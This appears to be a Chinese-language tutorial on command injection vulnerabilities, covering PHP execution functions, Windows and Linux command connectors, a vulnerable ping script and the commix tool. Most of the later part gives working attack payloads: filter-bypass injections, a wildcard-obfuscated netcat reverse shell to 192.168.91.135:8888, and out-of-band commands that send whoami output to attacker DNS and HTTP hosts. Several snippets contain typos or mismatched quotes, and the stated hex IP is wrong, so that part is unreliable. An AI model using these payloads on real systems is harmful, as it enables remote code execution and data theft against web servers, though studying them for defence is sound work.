命令执行漏洞
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而执行系统命令。属于高危漏洞,如果web使用的root权限,则攻击者可以执行任意命令。
1.用户的输入未作过滤 2.参数被拼接到系统命令中执行
PHP下的命令执行函数
含有一下函数的文件需要检查是否为webshell 1.system 执行命令,并且显示输出
<?php system("whoami");?>
2.exec 执行代码,但是不显示输出; 可以加上echo 显示输出
<?php exec('whoami');?>
<?php echo exec('whoamni']); ?>
3.shell_exec 通过shell环境执行命令,并且将完整的输出以字符串形式返回,可以加上echo 函数输出结果
<?php shell_exec('whoami') ?>
<?php echo shell_exec('whoami'); ?>
4.passthru 执行外部程序并且显示原始输出
<?php passthru('whoami'); ?>
5.popen 打开进程文件指针
<?php popen("tuoch test.txt","r"); ?>
执行代码后,会在当前文件夹下创建test.txt的文件
6.proc_popen 执行一个命令,并且打开用来输入输出的文件指针
<?php
$proc=proc_open("whoami",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print stream_get_contents($pipes[1]);
?>
输出root 7.反单引号(`),是PHP的执行运算符,PHP尝试将反单引号的内容作为shell命令执行并返回
<?php echo `whoami'`; ?>
windows下的命令执行漏洞
windows下的命令连接符& && | || 1.& 命令连接符
&前面的语句为假,则执行&后面的语句 &前面的语句为真,则&前后语句都执行
C:\Users\15063883837>test&whoami
'test' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
laptop-vetfvoc6\150
2.&&
&&前面语句为假,则直接报错,&&后的语句不执行
&&前面语句为真,则前后语句都执行
3.|
| 前语句为假,直接报错,后面语句不执行
| 前面语句为真,执行 | 后的语句
4.||
||前面的语句为假,执行||后面的语句
||前面语句为真,只执行||前面的语句
5.漏洞实例
后端代码:
<?php
$ip=$_GET['ip'];
system("ping".$ip);
?>
用户输入 127.0.0.1 | whoami
system(' ping 127.0.0.1 | whoami')
返回用户信息
Linux下的命令执行漏洞
Linux下的命令连接符 ; & && | || 1.; 多个命令顺序执行
id;id
2.& 是命令在后台执行,可以同时执行多条命令;无论前面语句真假,后面语句均执行
3.&& 前面命令执行成功,则执行后面命令 4.| 将前面命令的输出 作为后面命令的输入 ,前后都执行,但显示后面命令的执行结果 5.|| 类似if-else ,前面语句执行成功,则不执行后面语句;前面语句失败,则执行后面语句 6.漏洞示例
后端:
<?php
$ip=$_GET['ip];
system("ping -c 3 ".$ip);
?>
用户输入127.0.0.1;pwd 执行ping -c 3 127.0.0.1 和 pwd
命令执行自动化工具
commix 检测一个请求是否存在命令注入漏洞,支持导入bp的历史记录
项目地址:https://github.com/stasinopoulos/commix
kali 已经集成
简单使用
commix -u http://xxx.xxx.xxx.xxx?ip=127.0.0.1
返回shell
命令执行绕过
绕过空格过滤
1.${IFS} 绕过 $IFS 是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS存储的值可以是空格,制表符,换行符,或者其他的自定义符号
<?php
$ip=$_GET['ip'];
system("ping -c 3 ".$ip);
?>
输入
http://xxxxxxxx?ip=127.0.0.1;cat ${IFS} commandexec.php
返回commandexec.php的源码内容
2.$IFS$9 绕过
3.制表符%09 %09是制表符的URL编码,可以用来代替空格,绕过空格过滤
http://xxxxxxxx?ip=127.0.0.1;cat %09 commandexec.php
4.{} 绕过
http://xxxxxxxx?ip=127.0.0.1;{cat.commandexec.php}
5.< 绕过
http://xxxxxxxx?ip=127.0.0.1;cat<commandexec.php
绕过关键字过滤 1.变量拼接 2.空变量绕过 3.系统变量绕过 4.\ 绕过 5.通配符绕过 Linux支持通配符匹配
* 代表0到多个字符
? 代表一个任意字符
[] []内为字符范围,代表该范围中任意一个子符
6.shell反弹绕过 再利用shell反弹进行攻击时,如果存在过滤,可以通过通配符来绕过 例如要执行一下命令
/bin/nc 192.168.91.135 8888 -e /bin/bash
首先将IP换为十进制
192*(256**3)+168*(256**2)+91*256+135*1=3232258951
然后用通配符替换关键字
/b??/?c 3232258951 8888 -e /???/b??h
将payload发送给靶机 客户机可以收到反弹shell 注意: IP的十六进制为0xC085B87 payload也可以为/b??/?c 0xC085B87 8888 -e /???/b??h
7.Base64编码绕过
base64 -d 可以解码
?ip=xxxxxxxx; `echo "aWQ="|base64 -d`
8.expr awk 绕过
expr awk 从其他文件中或取字符并进行命令构造 例如ctf-wiki文件的内容为www.ctf-wiki.com 字符串
expr substr $(awk NR=1 ctf-wiki) 1 1
可以得到第一个字符w
9.无回显的命令注入 如果存在命令注入,但是无回显,可以通过shell反弹的方式将shell反弹到VPS上,然后通过VPS执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。
在Linux中,以下的命令可以获取用户名‘
curl `whoami`.test.ctfs.com
ping -c 1 `whoami`.test.ctfs-wiki.com
在Windows中,获取计算机名
for /F %x in ('whoami') do start http://test.ctf-wiki.com/%x
获取用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.test.ctfs-wiki.com
在网站上执行命令获取应户名
curl http://test.ctfs-wiki.com/?.`whoami`
常见的开源DNSLog平台
http://ceye.io/
https://github.com/BugScamnTeam/DNSLog
|